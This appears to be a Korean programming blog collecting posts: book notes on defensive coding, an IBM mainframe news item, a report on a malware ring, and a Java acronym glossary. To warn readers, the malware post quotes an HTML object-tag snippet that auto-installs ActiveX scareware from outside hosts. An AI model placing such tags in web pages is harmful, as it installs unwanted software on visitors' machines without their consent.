728x90
사용자 삽입 이미지
역시 내 머리는 체계적이지 못해서 'Code Craft'란 책의 힘을 빌리기로 했다. 그런데 이거 원서를 읽기는 부담스럽고 번역서를 읽자니 번역이 엉망이다. 일단 샀으니 열심히 보겠다만 번역한 사람이 어디서 굴러먹던 프리렌서인지 몰라도 번역 후 자기 글을 얼마나 열심히 읽었는지 알 수가 없다. 내용은 좋은 책이니 나한테 필요한 부분만 골라서 열심히 정리해보자

기본 습관 : 에러체크, 테스트, 디버깅
에러체크 : 코드를 작성하는 도중에 발생가능한 에러를 체크하고 막는 과정
테스트 : 발생가능한 에러가 있는지 찾아보는 과정(일단 테스트할 부분은 완성되었다고 가정)
디버깅 : 찾아낸 에러를 수정하는 과정이다.(말 그대로 버그잡기, 글로 따지면 퇴고다.)

코드 작성을 서두르지 마라.
gotcha : 문법적으로는 맞지만 원하는 것과 다르제 작동하는 것. ==를 =로 잘못 타이핑 하는 것등.

아무도 믿지마라.
당신의 코드가 사용되는 곳은 다음과 같다
* 우연히 엉터리 데이터를 입력하거나, 프로그램을 잘못 작동하는 정직한 사용자
* 의식적으로 프로그램에 오작동을 일으키는 악의적인 사용자
* 잘못된 파라미터(주1)를 가지고 함수를 호출하거나 모순된 데이터를 입력하는 클라이언트 코드
* 프로그램에 적절한 서비스를 제공하지 못하는 실행환경(OS등)
* 오작동을 하거나, 당신이 의존하는 인터페이스 규격을 따르지 않는 외부 라이브러리

짧은 코드가 아니라 명료한 코드를 작성하라
코드는 한눈에 들어와야 한다. 함수나 method는 20~30줄을 넘지 않는 것이 좋다. 그렇지만 짧다고 좋은 코드는 아니다. x += ++y; 이딴 식의 복잡한 수식은 절대 쓰지마라.
++y;
x = x + y;
이렇게 두줄이면 충분할 것을 괜히 줄인다고 복잡한 수식을 사용하면 알아보기가 어렵다. 당신이 연산자 우선순위를 잘 알고있다는 것은 자랑할 수 있지만 아무도 같이 일하려 들지 않을 것이다. 극단적인 경우 지나치게 복잡한 연산식 때문에 컴파일러가 잘못된 코드를 생성할 수도 있다.(최적화 과정에서 발생하는 에러는 이러한 경우가 많다. 컴파일러를 거치고 난 어셈블러를 분석해보면 원래코드랑 조금 다른 것을 볼 수 있다. 그건 최적화를 거쳐서 그렇다.)

어설프게 만지면 안되는 것은 아무도 못 만지게 하라
* 객체지향언어에서는 맴버변수를 모두 private로 한다.
* 모든 변수는 그 변수가 속할 수 있는 가장 좁은 범위(scope)안에 둬라.
-- 무지하게 잘난 인간이 아니면 전역은 쓰지마라.
-- 루프안에 선언해도 되는 변수는 루프안에 선언해라.
-- method 내에서만 사용해도 되는 변수를 맴버변수로 올리지 마라.

경고를 무시하지 마라.
컴파일하면 경고(warning)이 뜨는 경우가 있다. 위험하다고 경고하는 거다. 그냥 넘어가면 안된다.
만약 특정 경고가 당신에게 중요치 않더라도 그대로 두지 마라. 나중에 그로인해 정말 중요한 경고가 눈에 안 띄게 될수도 있다.
728x90
728x90
bluelimn's programming

system Z

bluelimn's programming
[한국IBM, 메인프레임 신제품 `시스템z10` 국내 선보여]

모 은행 IT담당자는 요즘 데이터센터를 들고 날 때마다 한숨이 나온다. 데이터센터를 빈틈없이 채우고 있는 엄청난 물량의 서버들. 공간만 차지하고 유지보수 비용도 만만치 않다. 하나로 묶어서 압축할 수는 없을까.

"메인프레임 1대로 서버 1500대를 대체한다." 한국IBM이 메인프레임 신제품 `시스템z10`을 선보이면서 내건 구호다.

한국IBM은 12일 `시스템z10`을 주요 고객들에게 소개하는 행사를 열었다. 이날 행사를 위해 방한한 IBM 아태지역 메인프레임 총괄 웨스 훔 부사장은 "다루기 어렵고 비싼데다 주변기기와 연결하기도 쉽지 않다는 그간의 고정관념을 말끔히 깰 수 있는 제품"이라고 소개했다.

메인프레임은 핵심 기간계 시스템의 주요 플랫폼으로 활약해왔지만 이번에 선보인 시스템z10은 특히 그간의 기술이 응집돼 전력 소모량은 적고 강화된 보안 수준과 관리 효율성을 제공한다는 것.

훔 부사장은 "낡고 성능도 나오지 않는 오래된 데이터센터와 서버들을 유지하기 위해 기업들은 쓸데없이 돈을 쓰고 있다"면서 "예산을 낭비하지 말고 메인프레임 한 대로 통합하면 더 높은 성능을 내면서도 비용은 대폭 줄일 수 있다"고 강조했다.

시스템z10에는 하나의 프로세서에 처리 실행 단위인 코어가 4개 집적된 쿼드코어 프로세서가 채택됐다. 이 프로세서는 동작 속도가 4.4GHz에 달해 역대 메인프레임 프로세서 중에서도 가장 빠른 속도를 자랑한다. 동작속도도 빠르고 두뇌도 4개로 늘어나다보니 시스템 전체 성능도 이전 모델보다 50% 이상 향상됐다. 처리 용량은 70%가 늘어났다.

폐쇄적이고 사용하기 어렵다는 고정 관념도 깼다. 메인프레임은 본래 전용 운영체제(OS)와 전용 프로세서, 전용 개발 언어로만 운영할 수 있어 데이터센터 안의 `섬`처럼 여겨졌다. 다른 시스템과의 연결이 어려울 수밖에 없다.

한국IBM은 이를 해결할 수 있도록 자바와 리눅스 운영환경을 지원한데 이어 시스템z10에서는 타사 유닉스 운영체제인 `솔라리스`도 구동할 수 있도록 최적화했다.

그러나 가격이 비싼 것이 흠이다. 공급 수량 및 서비스 모델에 따라 고무줄처럼 달라지는게 메인프레임 가격이지만 시스템z10 메인프레임 1대의 가격은 100만달러(약 10억원)에 육박한다는 것. 아무리 제품이 좋아도 초기에 시장뚫기는 쉽지 않아 보인다.

이와 관련, 훔 부사장은 "메이프레임 도입 초기비용보다는 1500대의 서버를 통합해 1대로 줄임으로써 절감되는 전체 관리비용을 고려해야 한다"고 밝혔다.

김희정기자 dontsigh@
<저작권자 ⓒ `돈이 보이는 리얼타임 뉴스` 머니투데이>< 저작권자 ⓒ머니투데이(경제신문) >

============================================
"시스템Z가 다소간 위기를 겪고 있는 원인을 보면 비싸다는 말이 많다. 한국 메인프레임 고객들은 최신 소프트웨어로 업데이트하는 것을 미루다보니 더욱 비싸다는 생각을 할 수 있다. 실제로는 그렇지 않다. 유닉스는 서버 하나 가격은 쌀지 모르지만 그것을 구동하려면 추가적인 서버와 업무도 필요하다. 관리 인력도 늘어나야 한다. 메인프레임은 비싸지만  사람은 덜 써도 된다. 메인프레임이 비싸서 유닉스로 바꾼다면 잘못 생각한 것이다. 메인프레임은 TCO에서 비교 우위를 선점하고 있다. 이름을 밝히지 못하지만 모 고객사 자료를 보면 TCO가 37%나 저렴하더라. 메인프레임이 비싸지 않다는 것을 적극적으로 알려나가겠다."

IBM 멋지삼~
728x90
728x90

수많은 인터넷 블로그나 미니홈피를 불법 광고물로 도배하는 새로운 해킹 기법이 나타났다.

 특히 이들 해커는 치밀하게 조직된 기업형인데다 정보보호 대회 입상 경력자 등 전문 프로그래머까지 포함돼 있어 충격을 주고 있다.

 그간 스팸메일을 이용한 광고는 일반화돼 있었지만 많은 네티즌이 즐기고 있는 블로그나 미니홈피에 유해한 광고를 불법으로 올리는 악성코드가 출현한 것은 처음이다.

 경찰청 사이버테러대응센터는 12일 인터넷 미니홈피·블로그·게시판 등에 불법 도박 사이트 광고글을 무차별 게시한 강모씨 등 일당 7명을 검거했으며 중국에 거주하는 나머지 공범 3명에 대한 수사도 진행하고 있다고 밝혔다.

 이들은 악성코드로 PC를 감염시켜 아이디와 비밀번호 정보를 빼내는 것은 물론이고 감염된 PC가 수집된 아이디로 각종 인터넷 사이트에 광고글까지 자동으로 게시하게 하는 악성코드를 제작했다고 경찰청은 설명했다.

 포털사이트 등에서 정상 프로그램으로 위장한 악성코드 다운로드를 유도하고 악성코드가 설치되면 사용자가 키보드로 아이디와 비밀번호를 입력할 때마다 이를 중국에 설치된 서버에 전송한다. 이후 중국의 관리자가 감염된 PC에 원하는 광고글을 내려보내면 숙주 PC는 서버에 모인 아이디로 광고글을 무차별적으로 올리는 방식. 악성코드는 일반 포털 사이트의 동영상 UCC로 위장하고 기존 안티바이러스 백신이 찾기 힘들게끔 설계돼 피해가 더 컸다.

 경찰청은 이들이 작년 9월부터 11월까지 무려 12억회에 걸쳐 광고글을 올려 자신들이 중국에 개설한 불법 도박 사이트로 사용자를 유도했으며 도박 사이트 운영으로 1억여원의 수익을 올린 것으로 파악된다고 밝혔다.

 특히 이번 사건은 정보보호 대회 입상 경력자 등 전문 프로그래머 2명이 가담하고 총책을 비롯, 대포통장 제공자와 광고 및 테스트 담당자 등으로 지능화·분업화했다는 점에서 충격을 주고 있다. 이들 전문 프로그래머는 기존 안티바이러스 백신이 찾기 힘들게 이들은 추적을 피하기 위해 중국에 서버를 설치하고 현지에서 관리 및 환전 업무 등을 하게 한 치밀함까지 보였다.

 양근원 경찰청 사이버테러대응센터장은 “전문가와 범죄자가 결합한 지능화된 범죄 사례”라며 “악성코드를 요즘 인기가 높은 인터넷 동영상 등으로 위장해 피해자가 늘었다”고 말했다. 경찰청은 신뢰할 수 없는 게시물에 첨부된 프로그램을 설치하지 않고 백신 및 보안 패치를 최신 상태로 유지할 것을 권고했다. 또 포털 사이트와 백신 제조 업체 등에도 게시물 관리 강화 및 백신 업데이트 등의 조치를 요구했다.

 이번 사건은 PC를 무려 100만대나 감염시킬 때까지 규모도 적지 않은데다 참여와 공유의 공간으로 떠오른 온라인 사이트들에 대한 무차별 공격으로 인터넷의 신뢰 저하도 우려된다. 피해자들은 자신도 모르는 사이에 불법 광고글을 올리는 범법자로 오인받을 수도 있는 상황이다.

 한세희기자@전자신문, hahn@

=====================================================================

사용자 삽입 이미지
사용자 삽입 이미지
조금 다른 이야기지만 유명한 사이트들에 게시글로 위장하여 악성코드를 퍼트리는 경우도 많다.
대부분 제목을 교모하게 해서 낚시하는데 아래는 관련 코드다.

<object classid=clsid:05DA48C8-AECE-4CF7-BE58-7D52883A7FAD codebase=http://pcclear.co.kr/app/Active/ClearAX.cab#version=1,0,0,1 width=100 height=0 id=ClearAX><PARAM name=sUserName value=lieekr></object><OBJECT classid="clsid:765A88D3-EB24-4A26-ACCF-1F754DB281FE"
codebase="http://pcbagsa.com/down/pcbaksaActiveFormProj1.cab#version=1,0,0,0"
width=0 height=0 align=center hspace=0 vspace=0>
<param name="Url" value="http://pcbagsa.com/update/">
<param name="Mode" value="Install">
<param name="PartnerID" value="ddrr443">
</OBJECT>

object태그를 이용하여 사용하고 있는데 iframe이나 script등의 태그를 이용하여 설치를 유도하기도 한다. (블로그 중에 egloos는 자신의 블로그에도 이러한 태그사용을 금지하여 막고 있지만 그렇게하니 막히는 것이 너무 많아서 결국 블로그를 이사하는 중요하 이유가 되어버렸다.)
아무튼 요즘 악성코드막아준다는 악성코드가 너무 많다. 심지어 무료로 검사해준다고까지 하고는 막 검사하는척 한다. 그런 다음 심각한 악성코드(주로 트로이목마나 웜같이 이름이 알려진 것들)가 발견되었다면서 당장 치료하라고 한다. 치료를 위해서는 돈을 내야한다. 그런데 포맷한 다음 바로 그 프로그램만 돌려도 그런 결과가 나오니 참 신기한 악성코드다..ㅡㅡ;
<param name="Mode" value="Install"> 이부분 조심해야 한다. 자동으로 설치를 유도한다. 한국 사람들은 컴퓨터에 프로그램이 설치되는 것을 너무 쉽게 생각한다. 무조건 다음다음다음다음다음 누르다 보면 큰일난다.

다른 예로 프로그램을 설치할 때 끼워서 같이 설치하는 것들도 있다. 잘 보이지 않는 곳에 체크박스를 두고 설치하는 도중에 '요것도 같이 설치해볼래?' 그러면서 유도한다. 설치하는 동안 프로그램을 설명하는 화면과 인터페이스가 똑같고 다음버트을 누르는 과정도 똑같기 때문에 버튼 한번 잘못 누르면 같이 설치하게 된다.

심리적으로 한번 허용한 것에 대해서는 끝까지 허용하려는 고객심리가 있다. 일단 처음 프로그램을 허용하면 껴서 같이 설치하는 녀석은 별 의심없이 설치해주려는 것이다. 알툴즈중 하나를 설치하면 다른 제품을 같이 설치하도록 유도하는 것은 소극적인 방법이고 구글툴바같은 경우는 상당히 심각하다.
구글이 유포하는 소프트웨어들의 성능이 비교적 만족스럽긴 하나 사용자(user)의 의견을 무시하고 장제로 시장에 침투하려는 태도는 상당히 짜증난다.

아무튼 악성코드 조심!! 뭔가 설치하라고 할 때 조금만 신경쓰면 악성코드는 대부분 걸러낼 수 있다!!!!

728x90
728x90

자바와 관련된 수많은 약어들을 봤을 것이다. 컴퓨터관련 용어들 중에 J로 시작하는 약어는 대부분 JAVA와 관련이 있다고 할만큼 다양하게 사용된다. 나도 그런 것들 다 모른다. 이제 막 배우는 단계에서 모든 기술을 깊이있게 들어갈 필요는 없다고 생각한다. 하지만 그게 무슨 말인지는 알아두는 것이 좋다. 얕더라도 넓은 지식을 가지는 것이 유리하다. 우리의 가능성은 무궁무진하니 터전을 잘 닦아두자는 말이다.(뭐가 있는지 알아야 시도라도 해본다.)

J2SE:
*Java Access Bridge
for Microsoft Windows는 일종의 다리 역할을 한다. Windows 기반 기술이 Java Accessibility API와 인터랙팅 할 수 있다.

*JavaBeans Component Architecture는 플랫폼 중립적인 스팩으로서 자바 플랫폼을 위한 표준 컴포넌트 소프트웨어 API를 정의한다

*Javadoc
은 소스 코드의 doc 주석에서 API 문서를 HTML로 만드는 툴이다.

*JFC(Java Foundation Classes (Swing))
는 자바 클래스 라이브러리 세트로서 자바 기반의 클라이언트 애플리케이션을 위한 GUI와 그래픽 기능의 구현을 지원한다.

*JPDA
(Java Platform Debugger Architecture) 는 Java 2용 디버깅 지원 인프라이다. JPDA에는 세 개의 레이어드 API가 있다
      1)JDI (Java Debug Interface)는 고급의 프로그래밍 언어 인터페이스로서 원격 디버깅을 지원한다.
      2)JDWP (Java Debug Wire Protocol)는 디버깅 프로세스와 디버거 프론트엔드 간 전달되는 정보와 요청의 포맷을 정의한다.
     3)JVMDI (Java Virtual Machine Debug Interface)는 저급의 원시 인터페이스로서 JVM이 디버깅을 위해 제공하는 서비스를 정의한다

*Java 2D API는 이미지 구성과 알파 채널 이미지를 제공하는 고급 2D 그래픽과 이미징을 위한 클래스이자, 정확한 컬러 공간 정의와 변환을 제공하는 클래스이자, 디스플레이 지향의 이미징 오퍼레이터이다

*Java Web Start는 설치 절차 없이 한번의 클릭으로 완전한 애플리케이션(스프레드시트)을 다운로드 및 시작할 수 있는 기능을 제공하기 때문에 자바 애플리케이션의 개발이 간단해 진다

*Java Database Connectivity (JDBC)는 자바에서 테이블 형식의 데이터 소스에 액세스 하는데 사용하는 API이다. 광범위한 SQL 데이터베이스에 크로스 DBMS 연결과, 스프레드시트나 플랫 파일 같은 기타 테이블 형식의 데이터 소스로의 액세스를 지원한다

*Remote Method Invocation (RMI)는 부트스트래핑 네이밍 서비스를 제공하며, 유형을 절단하지 않고, 객체 직렬화를 사용하여 프로그래머들이 분산된 자바 기반 애플리케이션을 만들 수 있다. 원격 자바 객체들의 메소드가 다른 호스트에 있는 자바 가상 머신에서 호출될 수 있다

*Java Advanced Imaging (JAI)는 개발자가 이미지를 쉽게 조작할 수 있도록 단순하고 고급의 프로그래밍 모델을 지원하는 객체 지향 인터페이스를 제공하는 API이다

*Java Authentication and Authorization Service (JAAS)는 자바 버전의 표준 Pluggable Authentication Module (PAM)을 구현하고 사용자 기반 인증을 지원하여 액세스 제어를 인증 및 실행하는 서비스 패키지이다

*Java Cryptography Extension (JCE)은 암호화, 키 생성, 동의, Message Authentication Code (MAC) 알고리즘을 위한 프레임웍과 구현을 제공하는 패키지이다. 암호화를 제공하고 보안 스트림과 보호 객체를 지원한다

*Java Data Objects (JDO)는 표준의 인터페이스 기반 자바 모델 영속성의 추상화로서 애플리케이션 프로그래머가 자바 도메인 모델 인스턴스를 영속 스토어(데이터베이스)에 직접 저장할 수 있다. 또한 이 같은 메소드들을 직접적인 파일 입출력, 직렬화, JDBC, EJB Bean Managed Persistence (BMP), Container Managed Persistence (CMP) Entity Beans으로 대체할 수 있다

*Java Management Extensions (JMX)는 장치, 애플리케이션, 서비스 중심 네트워크의 관리와 모니터링을 위한 웹 기반, 모듈식의 동적인 애플리케이션을 구현하는 툴을 제공한다. JMX Remote는 이러한 에이전트에 원격으로 액세스하는 수단을 표준화하는 기능을 제공하여 JMX 스팩을 확장한 것이다

*Java Media Framework (JMF)는 오디오, 비디오, 기타 시간 기반 미디어들을 자바 애플리케이션과 애플릿에 추가시킨다

*Java Naming and Directory Interface (JNDI)는 자바 애플리케이션에 다중 네이밍 및 디렉토리 서비스에 대한 통합 인터페이스를 제공하는 표준 확장으로서 이종의 엔터프라이즈 네이밍 및 디렉토리 서비스에 완벽한 연결이 가능하다

*Java Secure Socket Extensions (JSSE)는 보안 인터넷 통신을 가능케 하는 패키지 세트로서 자바 버전의 SSL (Secure Sockets Layer)과 TLS (Transport Layer Security) 프로토콜을 구현하고 데이터 암호화, 서버 인증, 메시지 무결성, 선택적 클라이언트 인증을 위한 기능을 포함시켰다

*Java Speech API (JSAPI) -- Grammar Format (JSGF)과 Markup Language (JSML) 스팩이 포함되어 있으며, 자바 애플리케이션에서 스피치 기술과 사용자 인터페이스를 통합시켰다. JSAPI는 크로스 플랫폼 API를 정의하여 명령어와 제어 인지자, 명령 시스템, 스피치 신디사이저를 지원한다

*Java 3D는 확장성 있는, 플랫폼 독립의 3D 그래픽을 자바 애플리케이션으로 결합하는데 쉽게 사용할 수 있다. 간단한 고급 프로그래밍 모델을 지원하는 객체 지향 인터페이스를 제공한다


J2EE 기술:
*Java API for XML Processing
(JAXP)는 DOM, SAX, XSLT를 사용하여 XML 문서의 프로세싱을 지원한다. 애플리케이션이 특정 XML 구현과 독립적으로 XML 문서를 파싱 및 변형할 수 있고, 개발자는 애플리케이션 코드를 변경하지 않고도 XML 프로세서들을 바꿀 수 있다

*Java API for XML Registries (JAXR)는 다양한 종류의 XML 레지스트리에 액세스 하는 표준 API를 제공한다. (웹 서비스의 구현, 전개, 발견을 위한 인프라를 실행한다)

*Java API for XML-based RPC (JAX-RPC)를 사용하여 SOAP 기반의 상호 운용성 및 이식성 있는 서비스를 개발한다

*SOAP with Attachments API for Java (SAAJ)를 사용하여 SOAP 1.1 스팩과 SOAP with Attachments 노트에 순응하는 메시지를 생산 및 소비할 수 있다

*Common Object Request Broker Architecture (CORBA)는 자바를 보완하는 이종의 컴퓨팅을 위한 오픈 표준이다. 분산 객체 프레임웍, 그 프레임웍을 지원하는 서비스, 다른 언어와의 상호 운용성을 제공한다

*ECperf는 웹 비즈니스 시스템의 퍼포먼스와 확장성을 측정하는데 사용되는 벤치마크이다. 애플리케이션을 구성하는 EJB 컴포넌트, 싱글 유저/인터랙티브 테스팅에 JSP를 사용하는 웹 클라이언트, 스키마 스크립트와 로드 프로그램, makefile과 전개 디스크립터, 규칙을 실행하고 클라이언트 로드를 시뮬레이트 하는 드라이버 프로그램 등이 포함된다

*Enterprise JavaBeans (EJB)는 트랜잭션, 보안, 데이터베이스 연결성 등을 지원하여 미들웨어 애플리케이션의 개발을 간소화 하는 컴포넌트 모델을 사용한다

*Java Authorization Contract for Containers (Java ACC)는 컨테이너가 사용할 권한 공급자의 설치와 설정을 정의하는 스팩이다. Java ACC는 공급자가 사용할 인터페이스를 정의한다

*avaMail은 메일 시스템을 모델링 하는 추상 클래스 세트를 제공하는 API이다

*ava Message Service (JMS)는 JMS 기술 순응의 메시징 시스템들에 의해 지원을 받을 메시징 개념과 프로그래밍 전략들을 정의하여 자바 플랫폼을 위한 이식 가능한 메시지 기반의 애플리케이션의 개발을 실행하도록 프로바이더 프레임웍을 추가하는 API 이다

*JavaServer Faces (JSF)는 재사용 가능한 UI 컴포넌트를 한 페이지 안에 정렬하여 웹 애플리케이션을 만드는 프로그래밍 모델을 제공한다. 이러한 컴포넌트들을 애플리케이션 데이터 소스로 연결하고 클라이언트가 생성한 이벤트를 서버측 이벤트 핸들러로 연결한다

*JavaServer Pages (JSP)를 사용하여 동적인 플랫폼 독립의 웹 페이지를 빠르고 쉽게 개발할 수 있다. 디자이너들은 동적 콘텐트를 변경하지 않고 페이지 레이아웃을 변경할 수 있다. 이 기술을 XML 계열의 태그를 사용한다.

*Java Servlets는 자바가 웹 서버를 확장하고 향상시키는 방식이다. CGI 프로그램의 퍼포먼스 제한 없이 웹 기반 애플리케이션을 구현하는 컴포넌트 기반, 플랫폼 독립의 메소드를 제공한다.

*J2EE Connector Architecture (JCA)는 이종의 EIS(Enterprise Information Systems)에 J2EE 플랫폼을 연결하는 표준 아키텍처를 정의한다. 확장성 있고 안전한 방식을 제공하고 EIS 벤더들은 애플리케이션 서버에 플러그인 될 수 있는 표준 리소스 어댑터를 제공한다.

*J2EE Management Specification (JMX)는 J2EE 플랫폼, J2EE 관리 모델을 위한 관리 정보 모델을 정의한다. 이 모델은 많은 관리 시스템과 프로토콜과 상호 운용될 수 있도록 설계 된다. 이 모델은 많은 관리 시스템과 프로토콜과 상호 운용되도록 설계되었다. Common Information Model (CIM), SNMP Management Information Base (MIB), EJB 컴포넌트를 통한 자바 객체 모델, J2EE Management EJB Component (MEJB)에 대한 표준 매핑이 포함되어 있다

*Java Transaction API (JTA)는 고급의 구현 및 프로토콜 독립적인 API로서 애플리케이션과 애플리케이션 서버들이 트랜잭션에 액세스 할 수 있다. Java Transaction Service (JTS) 는 JTA를 지원하는 Transaction Manager의 구현을 지정하고 OMG Object Transaction Service (OTS) 1.1 스팩의 자바 매핑을 정의한다. JTS 는 transactions using the Internet Inter-ORB Protocol (IIOP)를 사용하여 트랜잭션을 전파한다

J2ME:

*Connected Limited Device Configuration
(CLDC)은 리소스 제한 모바일 정보 장치용 자바 런타임 환경을 구성하는 두 개의 설정 중 하나이다. CLDC는 가장 기본적인 라이브러리와 가상 모신 기능을 구성한다. 이것은 각 J2ME 구현에 나타나며 여기에는 K 가상 머신(KVM)이 포함된다

*Mobile Information Device Profile (MIDP)는 리소스 제한 모바일 정보 장치용 자바 런타임 환경을 구성하는 두 개의 설정 중 하나이다. MIDP는 코어 애플리케이션 기능을 제공한다. 사용자 인터페이스, 네트워크 연결, 로컬 데이터 스토리지, 애플리케이션 수명 관리 등이 포함된다

Connected Device Configuration (CDC) 은 네트워크로 연결된 사용자와 임베디드 장치간 공유될 수 있는 애플리케이션을 구현 및 전달하는 표준 기반의 프레임웍이다

자바 네트워킹:

*JAIN
은 자바 기반의 API로서 차세대 텔레콤 제품과 서비스의 빠른 개발을 이끈다. JSLEE는 이벤트 중심의 컴포넌트 기반 컨테이너 기술로서 고성능의 비동기식의 오류에 강한 애플리케이션 서버이다

*Java Metadata Interface (JMI)는 동적인 플랫폼 중립적인 인프라를 구현하는 스팩으로서 메타데이터의 생성, 스토리지, 액세스, 발견, 교환을 실행한다. Object Management Group (OMG)의 Meta Object Facility (MOF) 스팩에 기반하고 있으며 UML (Unified Modeling Language)을 사용하여 기술되는 기본적인 모델링 생성물들로 구성되어 있다

*JavaGroups는 분산된 시스템 솔루션을 갖춘 디자인, 구현, 실험을 위한 소프트웨어 툴킷(API 라이브러리)이다

*Jini는 하드웨어와 소프트웨어를 위한 네트워크 중심의 서비스를 구현하는 개방 아키텍처이다. Jini 시스템 아키텍처는 세 개 범주, 프로그래밍 모델, 인프라, 서비스로 구성되어 있다

*JXTA는 오픈 프로토콜로서 네트워크 상에서 연결된 어떤 장치라도 P2P 방식으로 통신 및 협업할 수 있다. JXTA 피어는 가상 네트워크를 만든다. 이곳에서 모든 피어들은 다른 피어들이나 리소스들과 직접 인터랙팅 한다. 피어나 리소스가 방화벽과 NAT 뒤에 있거나 다른 네트워크 트랜스포트에 있어도 통신이 가능하다

==============================================================================
에휴~ 정말 많다. 이건 뭐 다 외우기는커녕 다 읽어보기도 어렵겠다. 그래도 포기하지 말자. 이걸 한번에 볼 필요는 없다. 그냥 자바머시기 그러는데 잘 모르겠다 그러면 다시 찾아서 이름이나 확인해보면 된다. 그래도 잘 모르는 와중에 붉은 색으로 해둔 것은 중요하다고 생각해서니까 최소한 뭔지 조금 더 살펴보는 성의는 갖도록 하자.

ps: 이 설명들은 내 머리에서 나온 것들 아님. 내가 다 기억하고 있을 리가 없잖아!
IBM의 developerworks에서 참조했음.

728x90

'Programming > JAVA잡기' 카테고리의 다른 글

자바 CTRL+Z, Y on JTextField, JComboBox  (0) 2023.04.27
자바 RMI (Remote Method Invovation) 사용하기  (0) 2008.09.23
why JAVA?  (0) 2008.03.13

+ Recent posts